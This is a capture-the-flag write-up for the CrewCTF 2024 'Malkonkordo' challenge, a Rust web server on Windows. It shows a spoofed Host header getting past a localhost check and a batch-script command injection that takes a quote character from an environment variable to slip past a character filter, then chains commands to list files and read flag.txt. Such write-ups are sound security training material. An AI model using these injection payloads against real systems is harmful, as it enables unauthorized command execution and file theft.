CrewCTF 2024
CrewCTF 2024 writeups
Malkonkordo
Rust webserver, it shows the following:
#[tokio::main]
async fn main() -> Result<(), std::io::Error> {
#[cfg(debug_assertions)]
if std::env::var_os("RUST_LOG").is_none() {
std::env::set_var("RUST_LOG", "poem=debug");
}
std::env::set_var("RUST_BACKTRACE", "1");
tracing_subscriber::fmt::init();
let app = Route::new()
.at("/", StaticFileEndpoint::new("./static/index.html"))
.nest("/assets", StaticFilesEndpoint::new("./static/assets/"))
.at("/preview", post(route_preview).with(SizeLimit::new(4000)))
.nest(
"/ai", // Look boss! We have AI in our product! ("Admin Interface") -V // You get a pass this time, but if you mention AI again, I will f****** piledrive you. -T
Route::new()
.at("/", StaticFileEndpoint::new("./static/admin.html"))
.nest("/run", get(route_admin_run)) // TODO: change to post. -V // https://thedailywtf.com/articles/The_Spider_of_Doom -T
.around(middleware_localhost),
)
.around(middleware_csp)
.catch_error(|_: poem::error::NotFoundError| async move {
Response::builder()
// .status(StatusCode::NOT_FOUND)
// .body("nothing here") // There must be something prettier we can return, right? Something like... a 302 redirect... -T
.status(StatusCode::FOUND)
.header("Location", "https://www.youtube.com/watch?v=dQw4w9WgXcQ") // Done! -V // Dammit Victor, I meant a redirect to the index page. -T
.body("")
});
Server::new(TcpListener::bind("0.0.0.0:8000")).run(app).await
}
The /ai/run
endpoint looks promising.
I can’t directly send a request to this endpoint, since it looks if the host header starts with 127.0.0.1
async fn middleware_localhost<E: Endpoint>(next: E, req: Request) -> Result<Response> {
// No authentication? -T // "I [too] like to live dangerously." -V
if let Some(host) = req.uri().host().or(req.header("host")) {
if !host.trim_start().starts_with("127.0.0.1") {
return Err(Error::from_status(StatusCode::UNAUTHORIZED));
}
} else {
return Err(Error::from_status(StatusCode::UNAUTHORIZED));
}
let resp = next.call(req).await?.into_response();
Ok(resp)
}
This can easily be changed via Burp.
If we have that host header, our request is passed to route_admin_run
.
This function takes two arguments, cmd and arg. It is important that it adds our arg
to a string.
#[handler]
pub fn route_admin_run(Query(run): Query<RunQuery>) -> String {
let RunQuery { cmd, arg } = run;
admin::run_cmd(cmd, arg.unwrap_or("".to_string()))
}
The admin::run_cmd
that is called contains the following code
pub fn run_cmd(cmd: String, arg: String) -> String {
let cmd = cmd.trim();
if cmd.is_empty() {
return "".to_string();
}
let res = handle_cmd(&cmd, &arg);
match res {
Ok(s) => s,
Err(msg) => format!("{}", msg),
}
}
which calls the handle_cmd
function with our arguments cmd
and arg
.
The handle_cmd
function contains multiple ’endpoints’ we can send a request to.
This match statement is for the cmd
that we pass in.
If cmd
has the value ping
it returns pong
.
If cmd
has the value env
it returns all the environment variables
.
If cmd
has the value roll
it returns random number 1 to 6?
.
If cmd
has the value ipconfig
it returns the adaper with the IP address
.
If cmd
has the value ping2
, our arg
is passed to the script ping.bat
. Before it passes our arg
to the bat script, it checks if arg
contains forbidden characters.
fn handle_cmd(cmd: &str, arg: &str) -> Result<String, String> {
eprintln!("cmd: {}; arg: {}", cmd.escape_default(), arg);
match cmd {
"ping" => Ok("pong".to_string()),
"time" => {
let datetime: DateTime<Utc> = SystemTime::now().into();
Ok(format!("{}", datetime.format("%T:%m-%Y-%d"))) // Stick to ISO time. -T
}
"env" => {
if arg.trim().is_empty() {
Ok(env::vars().map(|(k, v)| format!("{k}: {v}")).join("\n"))
} else {
if let Ok(val) = env::var(arg) {
Ok(format!("{arg}: {val}"))
} else {
Ok(format!("Error: no env var named '{arg}'."))
}
}
}
"roll" => {
if arg.is_empty() {
Ok(roll(1, 6))
} else if arg.len() == 3 {
let s = arg.split_once('d');
if s == None {
return Err("expected format '1d6'".to_string());
}
let t = s.unwrap();
let (n, fs) = (t.0.parse().unwrap(), t.1.parse().unwrap());
if n == 0 {
return Err("expected at least one die".to_string());
}
Ok(roll(n, fs))
} else {
return Err("unknown dice size".to_string());
}
}
"ipconfig" => {
get_ipconfig()
}
"ping2" => {
if arg.contains(['\'', '"', '*', '!', '@', '^', '?']) {
return Err("bad chars found".to_string());
}
let routput = Command::new(".\\scripts\\ping.bat")
.arg(arg)
.output();
if let Err(_e) = routput {
return Err("failed to run ping2 output".to_string());
}
Ok(String::from_utf8_lossy(&routput.unwrap().stdout).to_string())
}
_ => panic!("unknown cmd: {}", cmd),
}
}
Content of ping.bat
. Our arg
value is inserted in the %server%
variable.
@echo off
mode con: cols=55 lines=12
title Network Checker
REM Server to be pinged
SET server=%1
REM Size of packet to be send to server (bytes)
SET packetSize=1
REM Network info
SET netSSID=[SSID]
SET netName=[Network Name]
SET netInterface=[Network Interface]
REM Pause time between each network check (seconds)
SET successfulTimeout=1
REM Pause time after reconnection before next check (seconds)
SET failedTimeout=1
REM Write failed network connections to log (Boolean)
SET writeToLog=0
REM Do not change
SET lastFail=never
SET successfulRepetitions=0
SET iter=0
REM Check internet connection
:check
cls
ECHO Successful repetitions: %successfulRepetitions%
ECHO Last fail: %lastFail%
ECHO.
IF %iter%==4 (
GOTO bye
)
SET /a iter+=1
ECHO Pinging %server%...
PING -n 1 -l %packetSize% %server% >NUL
IF %errorlevel% EQU 0 GOTO successful
GOTO failed
REM Internet connection succeeded
:successful
color 0A
SET /a successfulRepetitions+=1
ECHO Ping successful!
TIMEOUT %successfulTimeout%
GOTO check
REM Internet connection failed
:failed
color 0C
SET lastFail=%time:~-11,2%:%time:~-8,2%:%time:~-5,2% - %date%
ECHO Ping failed!
ECHO Disconnecting network interface...
@REM netsh wlan disconnect interface="%netInterface%"
TIMEOUT 4 >NUL
ECHO Reconnecting network interface...
@REM netsh wlan connect ssid="%netSSID%" Name="%netName%" Interface="%netInterface%"
IF %writeToLog%==1 (
ECHO Ping to %server% failed at %lastFail% >> NetworkLog.txt
ECHO Previous successful repetitions: %successfulRepetitions% >> NetworkLog.txt
ECHO ==================== >> NetworkLog.txt
)
SET successfulRepetitions=0
TIMEOUT %failedTimeout%
GOTO check
REM Finish
:bye
ECHO Network checking finished!
Okay, so how can we get the flag
?
First, a test request to ping
, which should return pong
with the Host
header changed to 127.0.0.1
. This works as expected.
A request to env
returns the following enviroment variables that are set:
ALLUSERSPROFILE: C:\ProgramData
APPDATA: C:\Users\ctf\AppData\Roaming
CARGO: \\?\C:\Users\ctf\.rustup\toolchains\1.76-x86_64-pc-windows-msvc\bin\cargo.exe
CARGO_HOME: C:\Users\ctf\.cargo
CARGO_MANIFEST_DIR: C:\Users\ctf\Documents\malkonkordo\chall
CARGO_PKG_AUTHORS: TrebledJ
CARGO_PKG_DESCRIPTION: An awesome, minimal, down-to-earth markdown previewer rendered in the style of Discord... well, close enough. Why would you need such a tool? Good question! Have you ever thought to yourself: Hmm, I'd like to preview a message without switching to personal DMs or chucking the message in a random channel. Now ALL your problems are assuaged by this amicable site! "In a serener Bright, \ In a more golden light \ I see \ Each little doubt and fear, \ Each little discord here \ Removed." - Emily Dickinson
CARGO_PKG_HOMEPAGE:
CARGO_PKG_LICENSE:
CARGO_PKG_LICENSE_FILE:
CARGO_PKG_NAME: malkonkordo
CARGO_PKG_README:
CARGO_PKG_REPOSITORY:
CARGO_PKG_RUST_VERSION:
CARGO_PKG_VERSION: 1.0.0
CARGO_PKG_VERSION_MAJOR: 1
CARGO_PKG_VERSION_MINOR: 0
CARGO_PKG_VERSION_PATCH: 0
CARGO_PKG_VERSION_PRE:
CommonProgramFiles: C:\Program Files\Common Files
CommonProgramFiles(x86): C:\Program Files (x86)\Common Files
CommonProgramW6432: C:\Program Files\Common Files
COMPUTERNAME: ACCE4AA638AA
ComSpec: C:\Windows\system32\cmd.exe
DriverData: C:\Windows\System32\Drivers\DriverData
LOCALAPPDATA: C:\Users\ctf\AppData\Local
NUMBER_OF_PROCESSORS: 4
OS: Windows_NT
Path: C:\Windows\system32;C:\Windows;C:\Users\ctf\AppData\Local\Microsoft\WindowsApps
PATHEXT: .COM;.EXE;.BAT;.CMD
PROCESSOR_ARCHITECTURE: AMD64
PROCESSOR_IDENTIFIER: Intel64 Family 6 Model 85 Stepping 7, GenuineIntel
PROCESSOR_LEVEL: 6
PROCESSOR_REVISION: 5507
ProgramData: C:\ProgramData
ProgramFiles: C:\Program Files
ProgramFiles(x86): C:\Program Files (x86)
ProgramW6432: C:\Program Files
PUBLIC: C:\Users\Public
RUST_BACKTRACE: 1
SystemDrive: C:
SystemRoot: C:\Windows
TEMP: C:\Users\ctf\AppData\Local\Temp
TMP: C:\Users\ctf\AppData\Local\Temp
USERDOMAIN: ACCE4AA638AA
USERNAME: ctf
USERPROFILE: C:\Users\ctf
windir: C:\Windows
A request to ping2
with arg
set to 127.0.0.1
(which executes the ping.bat
script), returns the following:
In order to get command injection, we need to escape the string somehow, since the line below executes the PING
command with our input (line 38 of the ping.bat
script).
PING -n 1 -l %packetSize% %server% >NUL
In order to escape it we need a "
character, however these are forbidden.
What we can use, is the enviroment variables that we have access to.
Lucky us, since the enviroment variable CARGO_PKG_DESCRIPTION
contains a quote chracter "
. We can use this to escape the string we are in.
CARGO_PKG_DESCRIPTION: An awesome, minimal, down-to-earth markdown previewer rendered in the style of Discord... well, close enough. Why would you need such a tool? Good question! Have you ever thought to yourself: Hmm, I'd like to preview a message without switching to personal DMs or chucking the message in a random channel. Now ALL your problems are assuaged by this amicable site! "In a serener Bright, \ In a more golden light \ I see \ Each little doubt and fear, \ Each little discord here \ Removed." - Emily Dickinson
In batch scripts, we can use %my_var%
to reference a variable, or enviroment variable. But we only want one "
, not both that are in the environment variable. To get a part of a substring of the variable, the following can be used:
``%my_var:~,<amount_to_display>%so for example:
%my_var:~10,1This prints
1character from index
10of the
my_varvariable. With this it is easy to calculate the offset we need to get the first
", namely:
%CARGO_PKG_DESCRIPTION:~364,1%`
So if we use the following value for arg
, we escape the string we are in.
127.0.0.1%CARGO_PKG_DESCRIPTION:~364,1%
To test if it works, we can add another command, like ECHO
afterwards.
127.0.0.1%CARGO_PKG_DESCRIPTION:~364,1% & ECHO TESTTESTTESTTEST
And it succesfully prints the TESTTESTTESTTEST
. Note that the agr
value is fully URL encoded.
Now to see where the flag is, the following can be used:
127.0.0.1%CARGO_PKG_DESCRIPTION:~364,1% & ECHO TESTTESTTESTTEST & dir /p
Then, all that is left is to print the flag (the command below can of course be shortened).
127.0.0.1%CARGO_PKG_DESCRIPTION:~364,1% & ECHO TESTTESTTESTTEST & dir /p & type flag.txt
And the flag is succesfully returned!
Flag: crew{Rozoj_estas_rugaj._Violoj_estas_bluaj._Parsirado_estas_malmola._Kiel_Vindozo_kaj_poo.}